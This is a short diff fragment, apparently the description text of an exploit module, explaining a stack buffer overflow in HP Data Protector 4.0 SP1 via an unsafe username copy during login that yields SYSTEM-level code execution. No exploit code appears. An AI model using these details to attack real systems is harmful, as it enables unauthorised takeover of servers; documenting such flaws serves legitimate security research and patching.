| 20 | + This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The |
| 21 | + overflow occurs during the login process, in the DtbClsLogin function provided by |
| 22 | + the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in a |
| 23 | + insecure way with the username. Successful exploitation will lead to code execution |
| 24 | + with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server |
| 25 | + Service) process, which runs as SYSTEM by default. |
